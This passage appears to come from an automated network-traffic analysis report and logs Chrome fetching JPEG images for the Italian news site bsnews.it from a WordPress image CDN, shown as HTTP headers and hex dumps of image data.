T"JPy;20w\O4z42uq;5ie"ACW\|d;#^4n$)Kzh0K"pFD'PA x7H\|KVb[SsO"!1AQaq?NBQW?eKA2Dp({? n`)XT%J
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 22 7b 88 a0 a2 1f de 50 4f 88 0b 44 68 56 82 64 51 c5 30 aa a6 91 eb af 9f e1 57 01 53 92 05 a9 b3 8d 42 2d e2 63 a3 e6 6f 34 98 a2 65 6a de d1 6b fa db 58 ec 10 78 d3 82 90 d5 5b d4 cf cc 0f 59 6c 48 bc 44 f0 2b fc 20 21 a0 ae c9 f3 29 1f 15 16 73 7b 31 c8 9e 14 b7 5a c5 f8 83 04 04 8e 9a 5a 5b 5e 21 ee 57 35 0b 6d e5 d3 88 ac c2 63 ed b8 41 e9 0c 17 26 28 a5 b4 6f a9 74 2f 4c 2d 0c d8 f5 89 c3 4b 56 3b c0 1c 6e 65 ea 6b 51 3b 8a 3f 13 13 d6 4b c0 3d f6 57 e3 bc e1 39 62 37 56 a5 a3 8f 37 b9 4d 67 2e 00 b2 0e 79 8d b4 85 16 d7 d4 74 35 05 a1 a3 54 32 dd 4e e2 57 e2 33 d4 80 a0 aa c2 03 cc 08 77 0a a4 6b e7 64 7d a1 5d 02 1f 71 be d0 4c 21 fc 18 98 22 b7 57 29 5b 18 15 0f 45 c1 ee 54 e0 64 bd f8 07 da 5c 89 9c a1 f9 d0 12 4a 4b f6 98 c2 bb 7d c5 65 39 44 Data Ascii: "{PODhVdQ0WSB-co4ejkXx[YlHD+ !)s{1ZZ[^!W5mcA&(ot/L-KV;nekQ;?K=W9b7V7Mg.yt5T2NW3wkd}]qL!"W)[ETd\JK}e9D
2024-03-28 08:51:08 UTC	426	IN	Data Raw: 0a 07 4e f3 9e b4 e2 72 da 3f a8 d1 99 78 e7 c2 a4 38 72 f5 2c 09 92 b8 66 39 ff 00 a5 2c 5d 5a c5 04 20 04 9a 68 d5 f4 25 0c bf 78 5f 9a 62 b4 37 5a 8b ed 97 bd 9b 50 d9 29 dc 34 6a 19 27 ef 0f d4 33 de 15 d2 59 4d 42 b1 f4 9c 65 c4 bf 04 e9 7f 2c 50 ae 56 95 cf 59 bd 76 7e 0c 03 4b f1 34 81 3b 27 dc 44 0c 97 97 85 f1 13 44 a3 c8 86 0e d3 a2 bd ce b2 a0 17 02 35 30 b3 34 ad 3e 0c 76 d1 7e 06 b7 6f 23 48 a9 ab cc 4e c3 fb 61 49 45 57 4b 94 40 be 8e 65 62 f8 f0 1d 79 80 f2 25 99 07 67 4a 28 d0 a1 c2 35 ea 65 5a 6c ae a1 1a 87 25 98 df 82 28 ad a5 d5 2c 0f 05 20 2b 26 40 a7 c1 07 90 74 5f b4 12 40 2a ea a0 f7 f9 83 60 3f 13 62 3d ce 17 c1 85 0b 06 89 ab 85 07 98 e4 06 39 a9 18 df 2b 09 ad ab eb 0c 1a de 5f f2 a0 88 36 e9 fd 51 4d 8e 79 3d d4 19 7e 62 93 e3 Data Ascii: Nr?x8r,f9,]Z h%x_b7ZP)4j'3YMBe,PVYv~K4;'DD504>v~o#HNaIEWK@eby%gJ(5eZl%(, +&@t_@*`?b=9+_6QMy=~b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49860	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=218%2C150&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	592	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 9475 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:08 GMT Expires: Sat, 28 Mar 2026 20:51:08 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "db4519aa526069d7" X-Bytes-Saved: 471 Vary: Accept X-nc: MISS dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	777	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 96 00 da 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 05 00 02 03 04 06 01 07 08 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 c6 32 bc c1 b6 9a cc Data Ascii: JFIFCC"2
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 65 81 5c da 26 40 ee cf 36 ab 6c d6 74 b4 e6 4a 8c e3 e3 f4 a1 b0 b6 2e d1 74 7f 5d 1b 2f 07 5c a8 47 27 e7 54 fa 29 ef 2a 31 0b 6d e0 ce 53 95 73 8c 4a a2 e1 a4 a3 5a 33 24 56 88 d4 ad 37 4e 93 c5 8d 4b 67 3d 22 7a 69 25 20 e4 49 95 42 93 2d 86 24 47 23 4b 69 ec 25 3a 19 08 97 3d bf ff c4 00 2b 10 00 02 02 01 03 02 05 03 05 01 00 00 00 00 00 00 01 02 03 04 00 05 11 12 13 21 10 14 22 31 34 06 23 24 15 32 33 41 42 25 ff da 00 08 01 01 00 01 05 02 79 59 b1 38 97 fa 7c 77 cb b3 ac 30 d1 95 ab 3c 6c 19 4e 6a 5f 16 98 e5 36 a1 da b5 70 0c 80 7a a1 e2 6e b4 9c ae 36 fc 19 4e e8 a3 a7 10 1d 4d 24 71 b1 20 f4 ea 42 48 a5 ac 76 94 c7 ba 2d 65 42 11 f2 00 bc a3 a2 59 36 ca df 23 e9 fc 76 0a 35 2b 32 09 fa de 8d 26 dc a8 90 c8 b2 c5 78 6f 5e ae e2 4d 57 99 ab 57 f7 Data Ascii: e\&@6ltJ.t]/\G'T)*1mSsJZ3$V7NKg="zi% IB-$G#Ki%:=+!"14#$23AB%yY8\|w0<lNj_6pzn6NM$q BHv-eBY6#v5+2&xo^MWW
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 7f 76 46 00 c3 9b 6c 84 02 20 19 1e 2f a6 33 ef ff c4 00 26 11 00 02 02 01 03 04 01 05 01 00 00 00 00 00 00 00 00 01 02 11 03 10 21 31 12 20 32 41 22 13 14 30 42 43 51 ff da 00 08 01 03 01 01 3f 01 eb 77 44 91 d3 b0 91 12 7e c8 5b 74 2c 3b db 65 d5 93 f0 21 2a 25 ce 8e 4d 70 7e e7 b2 5c e8 b9 32 3e 4c 2b e6 3b 32 a3 f9 e8 f8 d1 aa 66 7c 0a 32 52 88 d1 24 50 8c 8b 96 60 f3 dc e8 25 1e 46 be 1a 46 44 f6 d3 26 6e a1 e8 88 99 16 c4 d5 70 62 7d 51 32 ed 2b 25 e1 f8 11 13 2c d4 9d 21 ca c8 e4 94 5e c6 49 b9 96 d1 d4 27 7a d7 64 e9 42 f5 65 68 da 21 ce aa 8a 42 8c 48 d7 b3 2c bd 0b b1 e9 0f 23 a4 e8 37 37 ff 00 0f 99 15 2b dc 9e ef b5 88 f6 59 6c 8d a7 64 33 b3 eb 23 ee 22 97 64 50 c6 24 51 8f 82 b4 5e 28 64 b5 5a 3e c8 69 ff c4 00 27 11 00 02 01 02 05 03 04 03 Data Ascii: vFl /3&!1 2A"0BCQ?wD~[t,;e!*%Mp~\2>L+;2f\|2R$P`%FFD&npb}Q2+%,!^I'zdBeh!BH,#77+Yld3#"dP$Q^(dZ>i'
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: b4 19 41 c0 cc 8c 35 5a ad 10 95 c9 19 c4 bd e6 c1 1e 03 a9 bf d3 0c a5 ae 86 f0 21 59 0c 3a 2b aa 8d e5 0e f4 f5 56 08 08 17 44 37 46 d8 79 35 5c 0a a2 ee 91 85 f1 6c 41 94 04 6a 8f 45 a6 ab c4 70 8b a6 b6 95 3c c0 1b a8 19 3a a6 32 73 18 5a c4 8c 01 5a 62 59 ef 34 85 ae 9d 13 aa 7b 82 dd fc ad 1d 70 75 23 ab 5c b5 56 2b 5c 38 e1 62 b3 c9 01 1d a5 52 a3 e7 31 6e c9 06 10 60 cb cd 5f 82 2f 74 cf 98 3c 70 32 aa 52 f7 5d 6e c9 8d e2 fd b3 e9 eb e5 18 65 76 8e 09 d9 8d 94 9f 92 96 6e 9e 18 5d c3 ea a0 38 1c 37 51 a3 e1 c7 55 e1 45 90 c8 20 8e 26 ea 5c f5 19 a7 cf 4d de f3 40 27 b2 2e 68 86 e8 d1 d0 69 85 fc b4 df d6 ea 63 1d 5c b6 aa 15 b2 a0 b2 7e 6b 71 df 55 76 15 c6 56 d3 4a 17 1f 45 6c 48 51 8d 5a d2 65 87 2b 6d cf cc 71 63 80 e1 cd 5d 8b f8 7f 65 b8 7e Data Ascii: A5Z!Y:+VD7Fy5\lAjEp<:2sZZbY4{pu#\V+\8bR1n`_/t<p2R]nevn]87QUE &\M@'.hic\~kqUvVJElHQZe+mqc]e~
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: f6 de b7 2d 92 9f f8 60 80 2d df 6b 99 52 36 63 2c 6d f2 5f 52 a9 a6 a1 32 d3 0b 46 81 b4 ea ff 00 84 00 25 b4 40 08 87 65 99 9a e1 4f 3f d4 c7 b4 b3 01 a9 87 6d f3 2f 9c 67 a8 e7 2c e4 9e 0f 49 60 c6 1e 59 7d a7 b4 2a b3 63 c0 27 89 4e 9f 89 6d 54 7f 45 d6 52 51 63 9d c7 3c c0 47 a5 88 fd ca 5b 57 5d c6 2f 60 b5 e9 05 77 ad ac 78 af a4 f6 60 a1 27 77 cc 51 33 ae a5 1a 49 c7 6e 5c 86 5e 21 ec 3f a4 1f b6 78 50 6a e7 06 fb c0 82 28 57 d3 04 5f 40 15 71 09 61 46 2a b8 42 5a f2 01 31 4e b0 95 9b 65 9d 26 5b 54 1f fc 21 d6 0a d7 51 ae 18 77 cc ae 07 d6 6e 09 e6 01 a0 62 00 83 72 c4 ce 04 02 b2 7c a5 b8 8e 73 53 1e 16 8a 28 cd a3 44 e5 32 90 af 6f c4 56 43 dd 1d ac 53 2f b0 d7 fd bf 48 5d 82 55 37 2a 09 58 15 7b 66 27 50 80 3b 96 42 88 54 77 23 6d 3d 89 76 e5 Data Ascii: -`-kR6c,m_R2F%@eO?m/g,I`Y}c'NmTERQc<G[W]/`wx`'wQ3In\^!?xPj(W_@qaFBZ1Ne&[T!Qwnbr\|sS(D2oVCS/H]U7*X{f'P;BTw#m=v
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: ad f5 e1 cd 22 ea fd b1 63 33 cc 3e d2 e1 76 c0 00 59 45 f3 f7 cd b7 2c 08 66 5c df 51 91 1e 23 bf ad b6 7d bc 07 9b bf 07 93 17 4d c5 90 7c aa 19 e1 b2 d8 09 f7 70 4b 76 b7 d4 3b d4 0f 71 72 df 6f 04 ea d3 b8 42 73 02 ce ac 07 e7 80 c6 9c ce 91 64 c2 45 65 ad 9e 5d 5c dd ce dd 92 21 e4 92 30 e8 8c 8f 0d f5 2f bb b6 24 c3 a1 b1 52 cd 81 9f 30 f2 d9 61 bb 68 39 87 12 99 64 0e 89 e9 be 0b 88 5d 90 69 69 d7 87 2e 5f 37 42 e5 7b f2 7d 78 27 ab 2e 97 66 ff c4 00 26 10 01 01 00 02 02 02 02 02 03 01 01 01 01 00 00 00 01 11 00 21 31 41 51 61 71 81 91 a1 b1 c1 d1 f0 e1 10 f1 ff da 00 08 01 01 00 01 3f 10 b2 f9 16 e6 bf 6c 5c 37 98 44 0f 18 1a 31 5c 8c 4f 7a 8a 1d 1c e0 74 28 5a 22 b5 eb cf b8 7a c0 46 3a 0e f0 6d 85 d7 e4 fe 1c 91 55 93 61 b4 86 03 95 18 9e cc 50 Data Ascii: "c3>vYE,f\Q#}M\|pKv;qroBsdEe]\!0/$R0ah9d]ii._7B{}x'.f&!1AQaq?l\7D1\Ozt(Z"zF:mUaP
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: b7 05 7a fa 6e af 99 c5 e7 78 fb cf 6e 47 9c 72 1f 90 7f 58 b9 a2 90 1f ce 58 e0 1a 36 15 e1 7c 98 31 38 88 f9 c4 8a 10 bd 41 c0 9f 1f ac 08 0e 30 6d f1 8c 5e 42 2f c6 1c 0a b0 c4 2a 7a 3a 99 57 b5 43 6d ff 00 8f fd c4 01 74 71 7f ef 8c af 45 58 92 18 4d 53 74 f0 07 fe e3 9f 21 6f 0c d0 bb dc bf 26 22 a1 69 a1 c3 cd f5 94 94 80 82 8d 6b fa c4 14 0f 41 ca 0f d2 2f 78 9b bb d0 da 95 7d f3 f3 71 3f 10 20 21 18 cf 8c 37 90 7d e3 6d 9f c8 ca b6 5f 4c 97 27 f5 c3 41 42 50 23 3e f0 da 00 18 bb 32 67 f6 ff 00 f2 0d d7 e1 83 0e ce 38 de 6c 1b 4e 4e cc e3 96 cb 82 08 a9 4d bf e6 3b b3 f1 9b 04 3b f6 ff 00 98 e5 00 cd 55 4c 95 6b cb a1 f2 a9 8f 4d 30 d2 32 b0 be 2e 07 28 06 82 71 53 e7 f3 97 da 24 21 2b 5f de 23 72 a2 66 dd f3 30 c2 ca 70 97 13 c5 01 48 ca 97 6b fe Data Ascii: znxnGrXX6\|18A0m^B/*z:WCmtqEXMSt!o&"ikA/x}q? !7}m_L'ABP#>2g8lNNM;;ULkM02.(qS$!+_#rf0pHk
2024-03-28 08:51:08 UTC	484	IN	Data Raw: 39 37 df bc 6e f3 61 f1 90 f4 74 1b cf ce 72 f5 88 78 8b cf 78 f1 1c ef d5 c3 2a 43 53 f2 e7 cc 58 e2 80 3b b1 d0 9d b9 84 f5 f2 32 68 b9 7c e7 58 17 8e 70 6c f2 66 88 3b c7 e8 52 57 0b 68 30 e1 09 27 23 de 29 06 ea 45 88 ea 79 b8 04 4e 78 8e 4d db 9e 41 fe e7 9f f0 3f dc 60 b3 b8 6b 11 34 43 cf 23 34 00 0a b7 46 0a 11 74 70 ad f3 8e d2 74 0d ae 07 b8 88 36 ae 01 34 48 a7 39 34 13 80 76 19 cc 5b 1d c3 e3 14 75 9b 59 7f 18 f6 02 65 90 f2 0e 0a ab b3 24 f2 de 35 78 0d e8 ef 1d 7b 69 09 91 bd 9c 1f 8c 1a dd 9e b2 7e 6c d9 f1 95 b3 d1 b3 10 25 d5 75 82 7b 07 c6 7c 6e 9e 70 b7 e8 e7 9e 03 a5 c5 a8 12 a7 93 f9 b9 cb 2f bc dc 00 f7 72 a9 98 51 d1 56 f4 5f 1f 17 0a 11 7e 74 d7 f7 97 11 cc bd 62 d5 6a 34 40 37 fb ca 1a 4b ca e0 d0 80 57 9a e1 a8 06 79 92 7f df 79 Data Ascii: 97natrxx*CSX;2h\|Xplf;RWh0'#)EyNxMA?`k4C#4Ftpt64H94v[uYe$5x{i~l%u{\|np/rQV_~tbj4@7KWyy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49861	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	409	OUT	GET /bsnews.it/wp-content/uploads/2019/11/banner-cucina.jpg?resize=234%2C90&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	572	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 11465 Connection: close Last-Modified: Fri, 05 Jan 2024 19:00:38 GMT Expires: Mon, 05 Jan 2026 07:00:38 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2019/11/banner-cucina.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "6d88bc3aec55dec6" Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	797	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c2 00 11 08 00 5a 00 ea 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 06 07 04 05 02 03 08 01 00 ff c4 00 1a 01 00 01 05 01 00 00 00 00 00 00 00 00 00 00 00 00 02 00 01 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 55 4b 85 32 a5 dd Data Ascii: JFIFCCZ"UK2
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 00 01 05 02 1a 39 33 ba b9 79 46 a5 65 44 ab 62 5b 51 cc a7 24 8d 42 da 34 b3 d4 4e 04 fb 0d 52 d6 a2 2b 28 ac 3e d7 3a 92 c2 be 24 ca 49 f0 27 4e d5 6d 2b a2 75 c5 62 71 04 a9 5c 77 f8 19 92 51 55 95 b1 13 ed d1 de 88 e7 aa 05 c4 6b a3 a7 cb 00 1a e4 19 3d 7e a8 91 be 50 1c 64 9e 63 82 2d d8 dc 33 01 46 9f 73 8d 8c 73 95 df 2a d2 c7 ec cd 35 3d 7d 2f 66 d8 22 da 6a d7 3f fa ca f1 23 fe a6 bf 66 8f 1e 02 70 ef a5 32 eb 7e e7 a1 6c 10 fd cf a8 57 c0 75 85 32 03 85 46 31 b9 1d bc 30 52 7d 9a 38 af 49 31 e9 1d e6 85 2d 9e 33 0f 91 8c 7f 8b eb 83 e4 93 d7 8c d6 64 16 7c a9 96 d0 43 93 ef 14 28 c3 11 b1 e0 ff 00 21 f6 09 67 97 88 70 e0 1a a9 85 2a ab 18 47 13 34 8e 66 ea 3b 8d 6c 7a cd 5e 74 62 cd bb af 98 14 fa 91 2e ac 10 69 f9 6a fd 2f 0c f4 80 49 51 9c 6f Data Ascii: 93yFeDb[Q$B4NR+(>:$I'Nm+ubq\wQUk=~Pdc-3Fss5=}/f"j?#fp2~lWu2F10R}8I1-3d\|C(!gpG4f;lz^tb.ij/IQo
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 48 d2 02 32 ea 0a c0 b7 06 f8 ef c4 be dd 79 38 55 16 69 be aa d2 ac aa cb 3d 79 43 26 53 c3 fa 2c 53 6f 0f 23 d5 61 6a e8 47 bf f7 d0 ae 2d 2f cc 10 fe df 7e fe ab 86 be 28 f1 91 be 5d 82 ed 07 19 8b 18 d1 0c 6d 23 5d ff 00 af ca 64 66 4d b6 4f 19 74 fc aa 2b 4a 69 37 10 ae 2a f3 75 3d 13 1c 4b b5 5a 2a 8f 25 82 22 66 77 bd 16 06 b6 b9 9e ff 00 85 8d 75 d8 97 a7 49 4f 0a f1 9a 04 ca 00 b2 83 fc 3c b5 41 9a d5 65 ee b2 d0 8e 86 aa 9c b8 77 75 95 fa a6 fc b9 dd f5 5c 41 b6 e2 9e ac b8 a7 c4 fc 34 9d e0 a3 9a ba 94 66 1e 4a 8a 34 36 54 d2 8a 9d e4 36 aa fd 63 94 6c 0d 88 30 74 52 7c a7 85 c4 d9 98 04 e1 76 7d 91 99 8b df a9 1b 2e d1 0b dd 9a e7 68 34 68 f3 3d 4f d9 53 4a a7 0b b7 56 a0 d0 16 5b 56 5b 55 ad 56 85 60 45 60 64 32 30 55 49 26 64 84 a6 77 c9 8c Data Ascii: H2y8Ui=yC&S,So#ajG-/~(]m#]dfMOt+Ji7u=KZ%"fwuIO<Aewu\A4fJ46T6cl0tR\|v}.h4h=OSJV[V[UV`E`d20UI&dw
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 0f 3e fa d2 ac c5 47 75 68 ea 3c cd 62 30 f9 ce 5c 52 68 36 81 77 d3 50 49 f5 a1 90 8c ab 7b 65 bd bc b5 ae 95 87 de 47 57 f9 32 8f e1 51 65 0d 99 af 11 31 c2 19 b5 e1 a9 ec eb 6a 19 f2 17 7b 36 f5 f1 0f bd ba da 70 1b c2 b2 48 36 b3 31 1e cf 15 2e b7 3b 8d b8 ba 0e 17 a8 f0 eb c2 31 6e 1c ea 6d 9d b3 e4 36 d3 9d 4b 84 80 db 6b db 7e 06 dd d5 7b 5f c2 ba ce b0 85 3d fa 5e a7 55 55 8e 43 6d f8 db b8 d4 b0 ae 7c 52 b2 fd 53 13 9a dd e2 b0 93 49 82 9e 0c 41 05 95 98 15 ba f7 9a 6c fd 19 0b 3d f5 24 71 ab 69 6f 01 ad 5b 55 5a ed f9 56 7c 34 f2 42 f6 b1 68 d8 a9 b5 19 67 95 a5 90 f1 77 37 fc 6b 2e 1f 17 34 08 75 b4 72 15 04 d2 30 62 92 a1 cc a5 4d 88 3d f4 bd 63 13 36 27 2f 0d a3 16 b7 ad 75 6e b3 3f 56 fe c7 39 c9 c6 fc 2a 1c d8 99 bd 87 d5 6f 13 93 cb bb 80 Data Ascii: >Guh<b0\Rh6wPI{eGW2Qe1j{6pH61.;1nm6Kk~{_=^UUCm\|RSIAl=$qio[UZV\|4Bhgw7k.4ur0bM=c6'/un?V9*o
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: bf 95 59 49 dd f8 4d 8d 62 f0 af 60 c5 33 71 24 dd 7c 7c ab 38 ca 4b 65 93 51 9b 51 e1 52 40 f9 f8 59 76 96 be 5e 23 41 c3 4f d1 95 85 d6 a4 91 7b 4b c2 57 e2 b5 d5 e4 c3 04 c3 99 2c 66 50 37 db e2 cd ca ba 88 8e 3d 9c 20 06 96 41 bc 8d 6e 55 17 48 e1 ec d0 02 19 32 8b 66 5f ca 8e 2f a1 f0 f0 f4 8e 1a 7d fc cc c0 18 24 f1 a5 c1 f4 84 0d 37 f6 e9 87 92 f1 df ba f7 fc 2b 4e 8b 86 de 39 81 ae 06 f5 aa da ba 2f 03 22 85 fe 86 4b 8e 61 93 66 3f dc 6a 48 5c 01 2c 6c 51 80 3c c5 60 d6 18 d5 b0 8d 9f 6e e7 8a 69 bb 6f 9d 74 8f 53 d9 f5 6d 85 d7 65 d9 f7 2f 6f 9d 74 af eb 38 62 8d 62 67 d8 78 80 37 0f 1e 37 ac 3c d1 40 d8 a7 5c d6 89 78 9f 68 6b a6 71 f1 61 c7 eb 09 27 97 2a bf 2e 61 3d 4d 61 33 8d 9f 4c 26 5d aa 6c d9 4a 82 b7 23 5f 1a e8 9e 8c c2 a2 2c 13 87 ce Data Ascii: YIMb`3q$\|\|8KeQQR@Yv^#AO{KW,fP7= AnUH2f_/}$7+N9/"Kaf?jH\,lQ<`niotSme/ot8bbgx77<@\xhkqa'*.a=Ma3L&]lJ#_,
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 34 f1 9c 54 eb 1d e4 0c d5 c3 32 ff 00 bc a8 f5 86 dc bb 29 58 eb 2f fd ba c1 50 8b 3b 67 05 b3 ad 7e b9 2f ab 80 5b 21 d5 23 ef 23 8b 10 b1 09 04 13 24 4d 60 28 12 f8 c1 33 8a 95 78 1d 81 c0 e6 cd 37 3c 5f dd 32 7f c7 1c 20 0e a5 1f b9 60 a7 dc d6 25 a0 fa 58 fc 46 1e 99 4c 0e 25 9a b9 9c 1b 58 e0 3b 92 25 29 18 d2 e4 a0 c8 13 91 ac 99 be d4 0a 1d 19 62 6a 78 d9 65 3c 40 84 56 ab 51 db 51 75 8b 5b 78 90 2c 68 f8 e4 65 cc 2f 31 b7 1a a5 b5 34 05 48 68 ad fc 66 da 2b 08 5f 7a c3 92 47 6a 75 1d 87 79 7c 38 50 09 64 3b c5 31 5d 63 a6 3a 0b 96 65 1c f5 38 13 ab 50 81 e5 3c 1a 6b 16 0a ce 83 26 28 49 2f 46 25 0f af 8c 31 52 09 29 bc 5a 7f 79 10 de d5 bf 07 39 a3 2c 8e 9a 61 7e cb c2 a9 e7 60 00 8e 42 f5 9c b4 46 c9 1a 28 8b 7d 86 44 d2 ad e0 12 0b 6f d6 58 bf Data Ascii: 4T2)X/P;g~/[!##$M`(3x7<_2 `%XFL%X;%)bjxe<@VQQu[x,he/14Hhf+_zGjuy\|8Pd;1]c:e8P<k&(I/F%1R)Zy9,a~`BF(}DoX
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: a1 f5 e2 ae 68 9d f5 82 2d 07 95 1d 05 7b 28 6b 10 12 f1 2b 3d 38 72 22 3c 8f 18 2e 0c e7 18 ce 32 ba 44 46 23 fa 32 4c a8 28 1a 12 bd fa cb da eb ea ef 73 b5 3f 58 43 7a c4 64 ae 42 b9 51 ac 6a 48 58 9d a7 28 6a 38 ea 2f 37 93 b6 25 0e 07 43 3a c2 eb 22 5c b8 19 31 06 ed 4f 3a 22 03 60 d9 fc a0 d4 c8 95 f3 6e 01 4c 30 b1 34 e0 4a 2d 4b c0 f9 35 be 52 74 4b ad 64 6b 6d f2 54 ef e1 90 3b 0c e5 00 90 16 63 e4 c6 b3 31 be 53 93 d9 b2 b0 61 ca 57 b5 24 3f b7 1c 41 53 31 ee 46 a0 35 30 4d ab ef 18 50 14 06 60 ab 7e 14 ac 36 e9 c2 12 ad b7 f0 61 d4 90 17 c4 93 f8 c0 9a d0 72 e4 c6 6c 1b 3d bb c6 a7 76 f8 23 2b e5 19 14 2a fa 9a 80 70 ed e6 04 32 60 79 bc 0d 8f f1 97 63 77 b3 23 88 7a f9 ca 82 e3 09 e4 13 bf 3c 72 e3 3b 01 f5 9f 9c 98 8c 36 71 61 99 4c 98 a8 1c Data Ascii: h-{(k+=8r"<.2DF#2L(s?XCzdBQjHX(j8/7%C:"\1O:"`nL04J-K5RtKdkmT;c1SaW$?AS1F50MP`~6arl=v#+*p2`ycw#z<r;6qaL
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 02 01 01 3f 10 c5 d3 10 a8 8d 1e 20 6b 7f 1f 50 2f a4 06 fa 44 36 60 6d d8 cc 4c d5 ce 5e 46 30 53 f7 73 ea 2d d0 32 e0 fd e7 3c 75 96 f5 5d dc ef 7b b0 45 43 5b 08 b0 43 57 57 0f eb 8f 66 33 92 df 11 43 58 8a eb 10 ba d3 18 f1 29 4a f5 f3 29 a3 a7 89 66 a4 5b 96 05 38 75 ed 08 be cb ee 43 a3 85 fd cc 27 76 c1 f3 f1 1b 5d 25 95 cd 92 a1 b4 ef 7a 6f 2c c6 45 c2 56 74 f8 db 1d 58 c5 a6 fb 87 fb eb 32 60 88 ba 48 00 0f b9 52 63 54 82 3a 73 fb c4 12 c3 25 47 0c 14 cd c2 e2 df 60 3e 3f c8 f0 3b 7e c7 ea 86 ce eb 7d d9 45 1b 1b c8 8e 1a c5 99 23 d3 5e eb 73 d2 af 9f 99 8c 26 db 71 8c 84 52 b7 ef 2c b6 c2 61 71 b8 f5 3d 1e 06 c8 37 29 15 44 fd cb 35 d2 5c 52 45 a0 33 bf db ee 5d e8 c6 0b a5 1e ca fd dc 1d 80 59 d9 8b 3e 2a 79 bf 98 a6 58 dd df f9 12 8b 3a db 78 Data Ascii: ? kP/D6`mL^F0Ss-2<u]{EC[CWWf3CX)J)f[8uC'v]%zo,EVtX2`HRcT:s%G`>?;~}E#^s&qR,aq=7)D5\RE3]Y>*yX:x
